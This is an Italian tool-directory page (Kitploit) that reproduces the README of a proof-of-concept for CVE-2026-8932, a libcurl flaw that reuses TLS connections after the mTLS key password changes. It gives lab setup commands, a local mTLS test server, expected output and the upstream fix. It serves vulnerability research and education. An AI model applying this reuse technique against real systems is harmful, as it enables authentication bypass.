Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-8932-PoC — Proof-of-concept che riproduce CVE-2026-8932, una falla di corrispondenza incompleta nella configurazione mTLS nel riutilizzo delle connessioni di libcurl, con un server lab locale e un PoC in C. | Kitploit
Strumenti/GitHubGitHub/nimaarek/cve-2026-8932-poc
Analisi delle VulnerabilitàExploitCrittografiaPenetration TestingPaper e RicercaApprendimento e Formazione
GitHubnimaarek/cve-2026-8932-poc

CVE-2026-8932-PoC

Proof-of-concept che riproduce CVE-2026-8932, una falla di corrispondenza incompleta nella configurazione mTLS nel riutilizzo delle connessioni di libcurl, con un server lab locale e un PoC in C.

Vedi Repository
11h 18m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-8932 PoC

Riproduzione proof-of-concept di CVE-2026-8932, un problema di corrispondenza incompleta della configurazione mTLS nel riutilizzo delle connessioni di libcurl.

Panoramica

CVE-2026-8932 riguarda la logica di riutilizzo delle connessioni di libcurl quando la configurazione mutual TLS (mTLS) cambia tra una richiesta e l'altra.

In condizioni vulnerabili, libcurl può riutilizzare una connessione TLS esistente anche se un'opzione di configurazione relativa a mTLS è cambiata e avrebbe dovuto impedire il riutilizzo di quella connessione.

Questo PoC dimostra il problema modificando la password della chiave privata tra due richieste, utilizzando lo stesso certificato client e la stessa chiave privata.

La prima richiesta utilizza la password corretta:

root@kitploit:~
correct-password

La seconda richiesta utilizza intenzionalmente una password non valida:

root@kitploit:~
WRONG-PASSWORD

Se libcurl riutilizza in modo errato la connessione TLS esistente, la seconda richiesta non richiede un altro handshake TLS. Di conseguenza, la password non valida della chiave privata non è mai necessaria per stabilire una nuova connessione TLS e la richiesta ha successo.

Il PoC dimostra quindi la condizione di riutilizzo della connessione associata a CVE-2026-8932.


Dettagli della vulnerabilità

ProprietàValore
CVECVE-2026-8932
Componentelibcurl
Tipo di vulnerabilitàCorrispondenza incompleta della configurazione mTLS
CWECWE-305 — Authentication Bypass by Primary Weakness
Area interessataRiutilizzo della connessione TLS
ProtocolloHTTPS / mTLS
ClientAPI libcurl
curl CLINon interessato
Ambito del PoCAmbiente di laboratorio locale

La vulnerabilità è un problema di corrispondenza logica/di configurazione, non una tradizionale vulnerabilità di sicurezza della memoria come un buffer overflow o un use-after-free.


Contesto tecnico

libcurl mantiene le informazioni sulla connessione e può riutilizzare una connessione esistente quando una richiesta successiva è considerata compatibile con la configurazione della connessione.

Per le connessioni TLS, la configurazione della connessione deve quindi essere confrontata con attenzione prima del riutilizzo.

L'implementazione vulnerabile non includeva tutti i campi rilevanti della configurazione mTLS nella logica di corrispondenza della connessione.

Tra le impostazioni interessate figurano:

root@kitploit:~
cert_type
key
key_type
key_passwd
key_blob

L'impostazione importante utilizzata da questo PoC è:

root@kitploit:~
key_passwd

Il PoC stabilisce una connessione TLS utilizzando una chiave privata client cifrata e la password corretta:

root@kitploit:~
correct-password

Esegue poi un'altra richiesta utilizzando lo stesso certificato e la stessa chiave, ma cambia la password in:

root@kitploit:~
WRONG-PASSWORD

Un'implementazione vulnerabile della corrispondenza delle connessioni può comunque considerare riutilizzabile la connessione esistente.


Concetto del PoC

Il test consiste in due richieste HTTP.

Richiesta A

La prima richiesta stabilisce la connessione TLS:

root@kitploit:~
URL:
https://server.test:8443/A

Certificato client:
client.crt

Chiave privata:
client.key

Password della chiave:
correct-password

La connessione TLS rimane persistente perché il server supporta HTTP keep-alive.

Richiesta B

La seconda richiesta utilizza lo stesso certificato e la stessa chiave privata, ma cambia la password della chiave:

root@kitploit:~
URL:
https://server.test:8443/B

Certificato client:
client.crt

Chiave privata:
client.key

Password della chiave:
WRONG-PASSWORD

Se libcurl crea una nuova connessione TLS, il caricamento della chiave privata cifrata con la password errata dovrebbe fallire.

Tuttavia, se libcurl riutilizza in modo errato la connessione esistente, non è richiesto un nuovo handshake TLS.

La password non valida quindi non impedisce il successo della richiesta HTTP.


Architettura del test

L'ambiente di laboratorio è composto da:

root@kitploit:~
                         localhost
                            |
                            v
                  +---------------------+
                  | Python mTLS Server  |
                  |   127.0.0.1:8443   |
                  +----------+----------+
                             |
                             | HTTPS / TLS 1.3
                             |
                    +--------+--------+
                    |                 |
                  /A                 /B
                    \                 /
                     \               /
                      v             v
                  Same TLS Connection
                         |
                         v
                     libcurl
                     PoC (C)

L'osservazione importante è che /A e /B devono arrivare sulla stessa connessione TLS.


Struttura del repository

root@kitploit:~
CVE-2026-8932-PoC/
├── README.md
├── LICENSE
├── .gitignore
│
├── certs/
│   └── .gitkeep
│
├── poc/
│   └── poc.c
│
├── server/
│   └── server.py
│
└── docs/
    ├── CVE-2026-8932-POC.jpg
    ├── CVE-2026-8932-server-POC.jpg
    ├── poc-output.txt
    └── server-output.txt

La directory certs/ è intenzionalmente mantenuta vuota nel repository. I certificati e le chiavi private devono essere generati localmente.


Riproduzione

Requisiti

Il PoC è stato testato nel seguente ambiente:

root@kitploit:~
OS:
Debian GNU/Linux 13 (trixie)

Architecture:
x86_64

libcurl:
8.14.1

OpenSSL:
3.5.7

GCC:
14.2.0

L'installazione vulnerabile di libcurl utilizzata per la riproduzione era:

root@kitploit:~
libcurl/8.14.1

Verificare la versione installata:

root@kitploit:~
curl --version

e:

root@kitploit:~
pkg-config --modversion libcurl

1. Creare la directory del laboratorio

root@kitploit:~
mkdir -p ~/cve-2026-8932-lab/{certs,poc,server,docs}

cd ~/cve-2026-8932-lab

2. Generare la CA

root@kitploit:~
cd ~/cve-2026-8932-lab/certs

openssl genrsa -out ca.key 2048

openssl req -x509 -new -nodes \
  -key ca.key \
  -sha256 \
  -days 3650 \
  -subj "/CN=CVE-2026-8932-CA" \
  -out ca.crt

3. Generare il certificato del server

Generare la chiave privata del server:

root@kitploit:~
openssl genrsa -out server.key 2048

Generare la CSR:

root@kitploit:~
openssl req -new \
  -key server.key \
  -subj "/CN=server.test" \
  -out server.csr

Creare le estensioni del certificato:

root@kitploit:~
printf "subjectAltName=DNS:server.test\nextendedKeyUsage=serverAuth\n" \
  > server.ext

Firmare il certificato utilizzando la CA di test:

root@kitploit:~
openssl x509 -req \
  -in server.csr \
  -CA ca.crt \
  -CAkey ca.key \
  -CAcreateserial \
  -out server.crt \
  -days 3650 \
  -sha256 \
  -extfile server.ext

4. Generare il certificato del client

Generare la chiave privata del client:

root@kitploit:~
openssl genrsa -out client.key.tmp 2048

Generare la CSR:

root@kitploit:~
openssl req -new \
  -key client.key.tmp \
  -subj "/CN=Client-A" \
  -out client.csr

Convertire la chiave privata nel formato PKCS#8 cifrato:

root@kitploit:~
openssl pkcs8 \
  -topk8 \
  -in client.key.tmp \
  -out client.key \
  -v2 aes-256-cbc \
  -passout pass:correct-password

La chiave privata risultante è cifrata con:

root@kitploit:~
correct-password

Creare le estensioni del certificato client:

root@kitploit:~
printf "extendedKeyUsage=clientAuth\n" \
  > client.ext

Firmare il certificato client:

root@kitploit:~
openssl x509 -req \
  -in client.csr \
  -CA ca.crt \
  -CAkey ca.key \
  -CAcreateserial \
  -out client.crt \
  -days 3650 \
  -sha256 \
  -extfile client.ext

A questo punto i file necessari dovrebbero esistere:

root@kitploit:~
certs/
├── ca.crt
├── ca.key
├── client.crt
├── client.key
├── server.crt
└── server.key

5. Avviare il server mTLS

Spostarsi nella directory del server:

root@kitploit:~
cd ~/cve-2026-8932-lab/server

Avviare il server:

root@kitploit:~
python3 server.py

Il server è in ascolto su:

root@kitploit:~
0.0.0.0:8443

È richiesta l'autenticazione tramite certificato client.

Il server mantiene inoltre attive le connessioni HTTP/1.1 in modo che libcurl possa riutilizzare la connessione TLS.


6. Compilare il PoC

Aprire un altro terminale:

root@kitploit:~
cd ~/cve-2026-8932-lab/poc

Compilare:

root@kitploit:~
gcc -Wall -Wextra -O0 -g \
  poc.c \
  $(pkg-config --cflags --libs libcurl) \
  -o poc

7. Eseguire il PoC

Eseguire:

root@kitploit:~
./poc

Il PoC utilizza:

root@kitploit:~
Client certificate : client.crt
Private key        : client.key

Request A password : correct-password
Request B password : WRONG-PASSWORD

Comportamento vulnerabile atteso

La prova più importante lato client è:

root@kitploit:~
[+] STEP 2: Request using modified mTLS configuration
[+] Key password = WRONG-PASSWORD

* Re-using existing https: connection with host server.test
> GET /B HTTP/1.1

La richiesta riceve quindi:

root@kitploit:~
< HTTP/1.1 200 OK

e il PoC segnala:

root@kitploit:~
[!!!] B REQUEST SUCCEEDED

Questo è significativo perché /B utilizza una password della chiave privata intenzionalmente non valida.

L'osservazione chiave non è semplicemente che /B ha successo.

La prova critica è che libcurl segnala esplicitamente:

root@kitploit:~
Re-using existing https: connection

Pertanto la seconda richiesta non deve eseguire un altro handshake TLS utilizzando la configurazione della chiave modificata.


Prove lato server

L'output del server fornisce una conferma indipendente del riutilizzo della connessione.

L'output rilevante è:

root@kitploit:~
[+] TLS connection #2
    Client CN    : Client-A

[+] Connection #2 Client=Client-A Request=GET /A HTTP/1.1
[+] Connection #2 Client=Client-A Request=GET /B HTTP/1.1

L'osservazione importante è:

root@kitploit:~
/A -> Connection #2
/B -> Connection #2

Entrambe le richieste HTTP sono quindi state ricevute attraverso la stessa connessione TLS.

Il server segnala inoltre la stessa identità client:

root@kitploit:~
Client-A

per entrambe le richieste.


Perché la password errata non causa un errore TLS

La chiave privata utilizzata dal PoC è cifrata.

La prima richiesta utilizza:

root@kitploit:~
correct-password

che consente a libcurl/OpenSSL di accedere alla chiave privata e stabilire la connessione TLS.

La seconda richiesta modifica la configurazione in:

root@kitploit:~
WRONG-PASSWORD

Se dovesse essere stabilita una nuova connessione TLS, libcurl dovrebbe elaborare nuovamente la chiave privata cifrata e la password errata dovrebbe causare il fallimento dell'operazione.

Tuttavia, quando la connessione TLS esistente viene riutilizzata, la sessione TLS è già stabilita.

Nessuna nuova operazione di autenticazione client è necessaria per /B.

Concettualmente:

root@kitploit:~
Request A
   |
   | correct-password
   v
TLS handshake
   |
   v
Established TLS connection
   |
   +----------------------+
   |                      |
   v                      v
  /A                     /B
                         |
                   WRONG-PASSWORD
                         |
                         X
              No new TLS handshake
                         |
                         v
                    HTTP succeeds

Riutilizzo della connessione vs ripresa della sessione TLS

Questo PoC dimostra il riutilizzo della connessione, non la ripresa della sessione TLS.

I due meccanismi sono diversi.

Riutilizzo della connessione

Una connessione TLS già stabilita rimane aperta e viene utilizzata per un'altra richiesta HTTP:

root@kitploit:~
TLS connection #2
    |
    +-- GET /A
    |
    +-- GET /B

Non è richiesto un secondo handshake TLS.

Ripresa della sessione TLS

Viene creata una nuova connessione TCP/TLS, ma le informazioni crittografiche di sessione di una connessione precedente vengono utilizzate per abbreviare il nuovo handshake TLS.

Non è ciò su cui si basa questo PoC.

Il PoC condivide intenzionalmente:

root@kitploit:~
CURL_LOCK_DATA_CONNECT

tra i due easy handle senza condividere:

root@kitploit:~
CURL_LOCK_DATA_SSL_SESSION

Questo mantiene la dimostrazione focalizzata sul riutilizzo della connessione.


Prove

Il repository contiene l'output catturato dalla riproduzione riuscita.

Output del PoC lato client

PoC output

L'output catturato dimostra:

  • la versione di libcurl
  • la connessione TLS iniziale
  • la richiesta /A riuscita
  • la password della chiave modificata
  • Re-using existing https: connection
  • la richiesta /B riuscita

L'output completo del terminale è disponibile anche in:

root@kitploit:~
docs/poc-output.txt

Output lato server

Server output

Le prove lato server dimostrano che:

root@kitploit:~
/A -> TLS connection #2
/B -> TLS connection #2

L'output completo del server è disponibile in:

root@kitploit:~
docs/server-output.txt

Nota importante sui numeri di connessione

Se viene eseguito un test manuale con curl prima di eseguire il PoC, il server potrebbe mostrare una connessione precedente:

root@kitploit:~
TLS connection #1

Questa connessione non è correlata all'esecuzione effettiva del PoC.

Ad esempio, la richiesta di validazione manuale:

root@kitploit:~
curl \
  --resolve server.test:8443:127.0.0.1 \
  --cacert ~/cve-2026-8932-lab/certs/ca.crt \
  --cert ~/cve-2026-8932-lab/certs/client.crt \
  --key ~/cve-2026-8932-lab/certs/client.key \
  --pass correct-password \
  https://server.test:8443/A

può creare la connessione #1.

Il PoC effettivo può quindi creare la connessione #2.

La condizione rilevante non è quindi il numero assoluto della connessione, ma che:

root@kitploit:~
/A and /B

compaiano sulla stessa connessione TLS durante l'esecuzione del PoC.


Fix rilevante di libcurl

Il fix upstream è:

root@kitploit:~
7541ae569d82fb308a5e2d94916027da4fa3ba3e

Commit:

root@kitploit:~
tls: fix incomplete mTLS config in conn reuse and session cache

Il fix aggiunge i confronti mancanti della configurazione mTLS alla logica di corrispondenza delle connessioni.

Concettualmente, la logica di corrispondenza ora considera valori tra cui:

root@kitploit:~
blobcmp(c1->key_blob, c2->key_blob) &&
curl_strequal(c1->cert_type, c2->cert_type) &&
Curl_safecmp(c1->key, c2->key) &&
curl_strequal(c1->key_type, c2->key_type) &&
!Curl_timestrcmp(c1->key_passwd, c2->key_passwd)

La modifica importante per questo PoC è il confronto di:

root@kitploit:~
key_passwd

Una modifica alla password della chiave privata dovrebbe quindi impedire che la connessione esistente venga considerata compatibile per il riutilizzo.


Test di regressione

Il fix upstream ha inoltre introdotto una copertura di regressione per il comportamento di corrispondenza della configurazione TLS.

Il test rilevante è associato a:

root@kitploit:~
test 3303

Il test di regressione copre le differenze nella configurazione mTLS, tra cui:

root@kitploit:~
key_passwd
key
key_type
cert_type

Ad esempio, configurazioni identiche dovrebbero corrispondere:

root@kitploit:~
config A == config B

mentre la modifica della password della chiave non dovrebbe:

root@kitploit:~
config A key_passwd = password-A
config B key_passwd = password-B

        ↓

connection match = false

Questa è la stessa dimensione di configurazione esercitata da questo PoC.


Risoluzione dei problemi

/B fallisce

Se /B fallisce, verificare innanzitutto se libcurl ha effettivamente riutilizzato la connessione.

L'output verboso dovrebbe contenere:

root@kitploit:~
Re-using existing https: connection

Se questa riga non compare, la condizione di vulnerabilità non è stata dimostrata.


/A e /B compaiono su connessioni TLS diverse

Il server dovrebbe mostrare:

root@kitploit:~
Connection #X -> /A
Connection #X -> /B

Se invece si vede:

root@kitploit:~
Connection #X -> /A
Connection #Y -> /B

allora la seconda richiesta ha creato una nuova connessione TLS e la condizione prevista non è stata riprodotta.

Verificare che:

  • CURL_LOCK_DATA_CONNECT sia condiviso.
  • CURLOPT_FORBID_REUSE non sia abilitato.
  • CURLOPT_FRESH_CONNECT non sia abilitato.
  • Il server invii Connection: keep-alive.
  • Venga utilizzato HTTP/1.1.
  • Entrambe le richieste siano dirette allo stesso host e alla stessa porta.

Errori relativi alla password della chiave privata

La chiave privata del client deve essere generata utilizzando:

root@kitploit:~
correct-password

Il PoC utilizza poi intenzionalmente:

root@kitploit:~
WRONG-PASSWORD

Non modificare la password incorporata nel comando di generazione della chiave privata a meno che non venga modificato anche il valore corrispondente nel PoC.


Considerazioni sulla sicurezza

Questo repository è destinato a ricerche di sicurezza controllate e alla riproduzione di vulnerabilità.

Il PoC è progettato per operare contro un server di test ospitato localmente:

root@kitploit:~
127.0.0.1:8443

Non utilizzare il PoC contro sistemi senza autorizzazione.

Le chiavi private e i certificati generati dovrebbero rimanere al di fuori del controllo di versione.

Il repository dovrebbe contenere solo:

root@kitploit:~
certs/.gitkeep

anziché chiavi private generate.


Riferimenti

  • curl Security Advisory — CVE-2026-8932
  • curl commit — tls: fix incomplete mTLS config in conn reuse and session cache
  • curl source repository

Crediti

La progettazione del PoC, la metodologia di laboratorio, l'implementazione e l'analisi tecnica sono state sviluppate da AliReza con l'assistenza di OpenAI ChatGPT (GPT-5.6 Luna).

La verifica umana, l'esecuzione, il testing e la riproduzione sono stati eseguiti dall'autore del repository.


Disclaimer

Questo repository è fornito per scopi di ricerca sulla sicurezza, analisi di vulnerabilità e finalità educative.

Utilizzarlo solo in sistemi e ambienti per i quali si dispone di autorizzazione esplicita.

Scarica lo strumento